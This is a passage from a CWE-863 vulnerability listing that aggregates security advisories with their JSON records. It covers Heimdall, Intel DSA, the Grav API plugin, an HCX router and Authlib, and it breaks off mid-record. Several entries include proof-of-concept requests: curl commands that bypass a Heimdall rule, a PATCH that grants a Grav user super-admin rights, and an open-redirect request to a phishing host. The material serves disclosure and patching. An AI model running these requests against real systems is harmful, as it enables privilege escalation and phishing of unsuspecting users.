Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5556 vulnerabilities reference this CWE, most recent first.

GHSA-R8X2-FHMF-6MXP

Vulnerability from github – Published: 2026-03-18 13:00 – Updated: 2026-04-27 15:22
VLAI
Summary
Heimdall: Path received via Envoy gRPC corrupted when containing query string
Details

Summary

When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.

The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.

Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.

Details

Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].

The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.

https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115

As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.

PoC

Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.

docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5

curl -v http://127.0.0.1:9090/public?bypass
*   Trying 127.0.0.1:9090...
* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 
* using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
< 
* Connection #0 to host 127.0.0.1:9090 left intact

When using the HTTP decision API variant, the second request is matched by the rule as well:

docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2

Impact

Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.

[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.17.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0-alpha"
            },
            {
              "fixed": "0.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T13:00:56Z",
    "nvd_published_at": "2026-03-20T02:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.\n\nThe HTTP based decision API is NOT affected, and proxy mode is NOT affected either.\n\n**Note:** The issue can only lead to unintended access if heimdall is configured with an \"allow all\" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag.\n\n### Details\nEnvoy splits the requested URL into parts, and sends the parts individually to heimdall. Although `query` and `path` are present in the API, the `query` field is documented to be always empty and the URL query is included in the `path` field [1].\n\nThe implementation uses go\u0027s url library to reconstruct the url which automatically encodes special characters in the path. \n\n https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115\n\nAs a consequence, a parameter like `/mypath?foo=bar` to `Path`  is escaped into  `/mypath%3Ffoo=bar`. Subsequently, a rule matching `/mypath` no longer matches and is bypassed.\n\n\n### PoC\n\nUsing the example docker compose setup, the `demo:public` rule is bypassed when adding a query parameter.\n\n\u003e docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.3\nRemoteAddr: 172.23.0.5:37056\nGET /public HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5\n\ncurl -v http://127.0.0.1:9090/public?bypass\n*   Trying 127.0.0.1:9090...\n* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 \n* using HTTP/1.x\n\u003e GET /public?hallo HTTP/1.1\n\u003e Host: 127.0.0.1:9090\n\u003e User-Agent: curl/8.19.0\n\u003e Accept: */*\n\u003e \n* Request completely sent off\n\u003c HTTP/1.1 401 Unauthorized\n\u003c date: Sat, 14 Mar 2026 16:34:17 GMT\n\u003c server: envoy\n\u003c content-length: 0\n\u003c \n* Connection #0 to host 127.0.0.1:9090 left intact\n```\n\nWhen using the HTTP decision API variant, the second request is matched by the rule as well:\n\n\u003e docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up\n\n```\ncurl http://127.0.0.1:9090/public?bypass\nHostname: 80201fead1c7\nIP: 127.0.0.1\nIP: ::1\nIP: 172.23.0.4\nRemoteAddr: 172.23.0.2:38044\nGET /public?hallo HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: curl/8.19.0\nAccept: */*\nX-Envoy-Expected-Rq-Timeout-Ms: 15000\nX-Forwarded-Proto: http\nX-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2\n```\n\n### Impact\n\nEveryone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.\n\n[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147",
  "id": "GHSA-r8x2-fhmf-6mxp",
  "modified": "2026-04-27T15:22:43Z",
  "published": "2026-03-18T13:00:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-r8x2-fhmf-6mxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32811"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/pull/3106"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/commit/50321b3007db1ccafdc6b1cfd6bdc3689c19a502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    },
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Heimdall: Path received via Envoy gRPC corrupted when containing query string"
}

GHSA-R8XV-H575-V48P

Vulnerability from github – Published: 2022-08-19 00:00 – Updated: 2022-08-23 00:00
VLAI
Details

Improper access control in the Intel(R) DSA software for before version 22.2.14 may allow an authenticated user to potentially enable escalation of privilege via adjacent access.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-26017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-18T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control in the Intel(R) DSA software for before version 22.2.14 may allow an authenticated user to potentially enable escalation of privilege via adjacent access.",
  "id": "GHSA-r8xv-h575-v48p",
  "modified": "2022-08-23T00:00:18Z",
  "published": "2022-08-19T00:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26017"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00679.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R945-H4VM-H736

Vulnerability from github – Published: 2026-05-05 21:20 – Updated: 2026-05-13 14:04
VLAI
Summary
Grav API Privilege Escalation to Super Admin
Details

Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
    $this->requirePermission($request, 'api.users.write');
} else {
    // Self-edit only requires api.access
    $this->requirePermission($request, 'api.access');
}

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
    if (array_key_exists($field, $body)) {
        $user->set($field, $body[$field]);
    }
}

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

  1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.

  2. Obtain JWT: Authenticate to the API to obtain your access_token:

bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"your_password"}'

  1. Exploit: Send a PATCH request to the user update endpoint.

bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <your_access_token>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"

  1. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav-plugin-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:20:03Z",
    "nvd_published_at": "2026-05-11T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE.\n\n### Details\n\nThe vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method.\n\nThe API allows users to update their own profiles if they possess the basic `api.access` permission:\n\n```php\n// UsersController.php -\u003e update()\n$isSelf = $currentUser-\u003eusername === $username;\nif (!$isSelf) {\n    $this-\u003erequirePermission($request, \u0027api.users.write\u0027);\n} else {\n    // Self-edit only requires api.access\n    $this-\u003erequirePermission($request, \u0027api.access\u0027);\n}\n```\n\nHowever, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user\u0027s role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users:\n\n```php\n// Partial update - only update provided fields\n$allowedFields = [\u0027email\u0027, \u0027fullname\u0027, \u0027title\u0027, \u0027state\u0027, \u0027language\u0027, \u0027content_editor\u0027, \u0027access\u0027, \u0027twofa_enabled\u0027];\nforeach ($allowedFields as $field) {\n    if (array_key_exists($field, $body)) {\n        $user-\u003eset($field, $body[$field]);\n    }\n}\n```\n\nBecause there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`.\n\n### PoC\n\n1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission.\n\n2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`:\n\n   ```bash\n   curl -X POST http://\u003ctarget\u003e/api/v1/auth/token \\\n     -H \"Content-Type: application/json\" \\\n     -d \u0027{\"username\":\"user1\",\"password\":\"your_password\"}\u0027\n   ```\n\n3. **Exploit**: Send a `PATCH` request to the user update endpoint. \n\n   ```bash\n   curl -X PATCH http://\u003ctarget\u003e/api/v1/users/user1 \\\n     -H \"X-API-Token: \u003cyour_access_token\u003e\" \\\n     -H \"Content-Type: application/json\" \\\n     -d \"{\\\"access\\\":{\\\"admin\\\":{\\\"login\\\":true,\\\"super\\\":true},\\\"api\\\":{\\\"access\\\":true,\\\"super\\\":true},\\\"site\\\":{\\\"login\\\":true}}}\"\n   ```\n\n4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.\n\n### Impact\n\nThis is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.",
  "id": "GHSA-r945-h4vm-h736",
  "modified": "2026-05-13T14:04:22Z",
  "published": "2026-05-05T21:20:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav API Privilege Escalation to Super Admin"
}

GHSA-R95V-7X7V-PHW8

Vulnerability from github – Published: 2024-09-10 18:30 – Updated: 2026-07-05 03:31
VLAI
Details

Shenzhen Haichangxing Technology Co., Ltd HCX H822 4G LTE Router M7628NNxISPxUIv2_v1.0.1557.15.35_P0 is vulnerable to Incorrect Access Control. Unauthenticated factory mode reset and command injection leads to information exposure and root shell access.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T17:15:37Z",
    "severity": "HIGH"
  },
  "details": "Shenzhen Haichangxing Technology Co., Ltd HCX H822 4G LTE Router M7628NNxISPxUIv2_v1.0.1557.15.35_P0 is vulnerable to Incorrect Access Control. Unauthenticated factory mode reset and command injection leads to information exposure and root shell access.",
  "id": "GHSA-r95v-7x7v-phw8",
  "modified": "2026-07-05T03:31:35Z",
  "published": "2024-09-10T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44667"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40sengkyaut/unauthenticated-factory-mode-reset-and-at-command-injection-in-jboneos-or-jbonecloud-firmware-1dec156b7ddd"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@sengkyaut/unauthenticated-factory-mode-reset-and-at-command-injection-in-jboneos-or-jbonecloud-firmware-1dec156b7ddd"
    },
    {
      "type": "WEB",
      "url": "http://shenzhen.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R95X-QFJJ-FJJ2

Vulnerability from github – Published: 2026-05-13 01:36 – Updated: 2026-06-08 23:53
VLAI
Summary
Authlib OIDC Implicit/Hybrid Authorization Vulnerable to Open Redirect
Details

Summary

An unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope.

Details

Vulnerable code

OpenIDImplicitGrant.validate_authorization_request in authlib/oidc/core/grants/implicit.py:

def validate_authorization_request(self):
    if not is_openid_scope(self.request.payload.scope):
        raise InvalidScopeError(
            "Missing 'openid' scope",
            redirect_uri=self.request.payload.redirect_uri,  # ← raw, unvalidated
            redirect_fragment=True,
        )
    redirect_uri = super().validate_authorization_request()
    ...

OpenIDHybridGrant.validate_authorization_request in authlib/oidc/core/grants/hybrid.py shares the same pattern.

Root cause

Both methods perform the openid scope presence check before delegating to super().validate_authorization_request(), which is where AuthorizationEndpointMixin.validate_authorization_redirect_uri validates the requested redirect_uri against the client's check_redirect_uri(...). The InvalidScopeError thrown by the scope check therefore carries attacker-controlled self.request.payload.redirect_uri.

OAuth2Error.__call__ in authlib/oauth2/base.py renders any error with a non-empty redirect_uri as an HTTP 302:

def __call__(self, uri=None):
    if self.redirect_uri:
        params = self.get_body()
        loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
        return 302, "", [("Location", loc)]
    return super().__call__(uri=uri)

A malformed authorization request that selects OpenIDImplicitGrant or OpenIDHybridGrant and omits the openid scope is therefore redirected to a fully attacker-chosen URL.

This is a variant of the issue fixed in commit 3be08468 ("fix: redirecting to unvalidated redirect_uri on UnsupportedResponseTypeError") that was missed in the OIDC Implicit and Hybrid grants.

Preconditions

  1. The server registers OpenIDImplicitGrant or OpenIDHybridGrant (standard OIDC Implicit or Hybrid flow support).
  2. The attacker's request uses a response_type that matches either grant: id_token, id_token token, code id_token, code token, or code id_token token.
  3. scope does not contain openid.
  4. Any redirect_uri value.

No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid client_id are required. The scope check runs before any client lookup, so any client_id value (including nonexistent ones) reaches the vulnerable code path.

PoC

The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL:

GET /oauth/authorize
    ?response_type=id_token
    &client_id=anything
    &scope=profile
    &redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish
    &state=s&nonce=n  HTTP/1.1
Host: victim-op.example

Server response:

HTTP/1.1 302 Found
Location: https://evil.example.com/phish#error=invalid_scope&error_description=Missing+%27openid%27+scope&state=s

Impact

  • Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP.
  • Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack.
  • RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a redirect_uri that has not been validated against the client's registered URIs, even in error responses. The state parameter is echoed back, giving the attacker site a stable correlator.
  • No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.

Affected deployments

Any application using Authlib as an OIDC provider that registers OpenIDImplicitGrant and/or OpenIDHybridGrant — i.e. anyone supporting the Implicit flow or the Hybrid flow (response_type=code id_token, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue.

Authorization servers that only register the plain AuthorizationCodeGrant (code flow, with or without PKCE and the OpenIDCode extension) are not affected by this specific variant: the code-flow grant validates redirect_uri before raising scope errors. If you were affected by the sibling issue fixed in 3be08468 (UnsupportedResponseTypeError), you should already be on 1.6.10 or later; this advisory is independent of that fix.

Suggested fix

The attached fix-oidc-open-redirect.patch reorders each method to delegate to its super (or call validate_code_authorization_request for Hybrid) first, and then performs the openid-scope check with the validated redirect_uri variable.

# authlib/oidc/core/grants/implicit.py
def validate_authorization_request(self):
    redirect_uri = super().validate_authorization_request()   # runs client + redirect_uri validation
    if not is_openid_scope(self.request.payload.scope):
        raise InvalidScopeError(
            "Missing 'openid' scope",
            redirect_uri=redirect_uri,                         # validated
            redirect_fragment=True,
        )
    try:
        validate_nonce(self.request, self.exists_nonce, required=True)
    except OAuth2Error as error:
        error.redirect_uri = redirect_uri
        error.redirect_fragment = True
        raise error
    return redirect_uri

An equivalent transform is applied to OpenIDHybridGrant.validate_authorization_request, invoking validate_code_authorization_request first and only then checking is_openid_scope.

Alternatively, inline a client = query_client(request.payload.client_id) + client.check_redirect_uri(request.payload.redirect_uri) guard before populating redirect_uri on the error — the pattern used in 3be08468.

The patch also adds regression tests analogous to test_unsupported_response_type_does_not_redirect from commit 3be08468, asserting rv.status_code == 400 and rv.headers.get("Location") is None for an unregistered redirect_uri with a non-openid scope.

Workarounds

No clean server-side workaround exists short of patching. Partial mitigations:

  • Unregister OpenIDImplicitGrant and OpenIDHybridGrant if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.)
  • Front the /authorize endpoint with a reverse proxy rule that rejects requests containing both a redirect_uri parameter and a scope that does not include openid when response_type matches the vulnerable set. This is fragile and not recommended as a primary control.

References

  • RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint)
  • RFC 9700, §4.11 — Redirect URI validation
  • OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response
  • Authlib commit 3be08468 — prior fix for the same class of issue in UnsupportedResponseTypeError (Authlib 1.6.10)
  • Authlib source (by symbol; verified in commit 5d2e603e):
  • OpenIDImplicitGrant.validate_authorization_request — authlib/oidc/core/grants/implicit.py
  • OpenIDHybridGrant.validate_authorization_request — authlib/oidc/core/grants/hybrid.py
  • OAuth2Error.__call__ — authlib/oauth2/base.py (renders errors with redirect_uri as HTTP 302)
  • AuthorizationEndpointMixin.validate_authorization_redirect_uri — authlib/oauth2/rfc6749/grants/base.py (the validation that is bypassed)
Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.0"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:36:03Z",
    "nvd_published_at": "2026-05-27T20:16:37Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unauthenticated open redirect in Authlib\u0027s `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope.\n\n### Details\n\n#### Vulnerable code\n\n`OpenIDImplicitGrant.validate_authorization_request` in `authlib/oidc/core/grants/implicit.py`:\n\n```python\ndef validate_authorization_request(self):\n    if not is_openid_scope(self.request.payload.scope):\n        raise InvalidScopeError(\n            \"Missing \u0027openid\u0027 scope\",\n            redirect_uri=self.request.payload.redirect_uri,  # \u2190 raw, unvalidated\n            redirect_fragment=True,\n        )\n    redirect_uri = super().validate_authorization_request()\n    ...\n```\n\n`OpenIDHybridGrant.validate_authorization_request` in `authlib/oidc/core/grants/hybrid.py` shares the same pattern.\n\n#### Root cause\n\nBoth methods perform the `openid` scope presence check before delegating to `super().validate_authorization_request()`, which is where `AuthorizationEndpointMixin.validate_authorization_redirect_uri` validates the requested `redirect_uri` against the client\u0027s `check_redirect_uri(...)`. The `InvalidScopeError` thrown by the scope check therefore carries attacker-controlled `self.request.payload.redirect_uri`.\n\n`OAuth2Error.__call__` in `authlib/oauth2/base.py` renders any error with a non-empty `redirect_uri` as an HTTP 302:\n\n```python\ndef __call__(self, uri=None):\n    if self.redirect_uri:\n        params = self.get_body()\n        loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)\n        return 302, \"\", [(\"Location\", loc)]\n    return super().__call__(uri=uri)\n```\n\nA malformed authorization request that selects `OpenIDImplicitGrant` or `OpenIDHybridGrant` and omits the `openid` scope is therefore redirected to a fully attacker-chosen URL.\n\nThis is a variant of the issue fixed in commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) (\"fix: redirecting to unvalidated `redirect_uri` on `UnsupportedResponseTypeError`\") that was missed in the OIDC Implicit and Hybrid grants.\n\n#### Preconditions\n\n1. The server registers `OpenIDImplicitGrant` or `OpenIDHybridGrant` (standard OIDC Implicit or Hybrid flow support).\n2. The attacker\u0027s request uses a `response_type` that matches either grant: `id_token`, `id_token token`, `code id_token`, `code token`, or `code id_token token`.\n3. `scope` does not contain `openid`.\n4. Any `redirect_uri` value.\n\nNo user authentication, no consent, no valid session, no CSRF token, and \u2014 notably \u2014 no valid `client_id` are required. The scope check runs before any client lookup, so any `client_id` value (including nonexistent ones) reaches the vulnerable code path.\n\n### PoC\n\nThe following unauthenticated GET is sufficient to induce the authorization server to redirect a victim\u0027s browser to an attacker-controlled URL:\n\n```\nGET /oauth/authorize\n    ?response_type=id_token\n    \u0026client_id=anything\n    \u0026scope=profile\n    \u0026redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish\n    \u0026state=s\u0026nonce=n  HTTP/1.1\nHost: victim-op.example\n```\n\nServer response:\n\n```\nHTTP/1.1 302 Found\nLocation: https://evil.example.com/phish#error=invalid_scope\u0026error_description=Missing+%27openid%27+scope\u0026state=s\n```\n\n### Impact\n\n- Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider\u0027s domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker\u0027s page, lending the attacker\u0027s landing page the OP\u0027s reputation and potentially satisfying domain-allow-list controls that trust the OP.\n- Phishing / credential harvesting leverage. The attacker\u0027s page can mimic the legitimate OP\u0027s consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack.\n- RFC violation. RFC 6749 \u00a74.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) \u00a74.11 both state that an authorization server MUST NOT perform redirection to a `redirect_uri` that has not been validated against the client\u0027s registered URIs, even in error responses. The `state` parameter is echoed back, giving the attacker site a stable correlator.\n- No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.\n\n#### Affected deployments\n\nAny application using Authlib as an OIDC provider that registers `OpenIDImplicitGrant` and/or `OpenIDHybridGrant` \u2014 i.e. anyone supporting the Implicit flow or the Hybrid flow (`response_type=code id_token`, etc.) \u2014 is affected. Clients of an 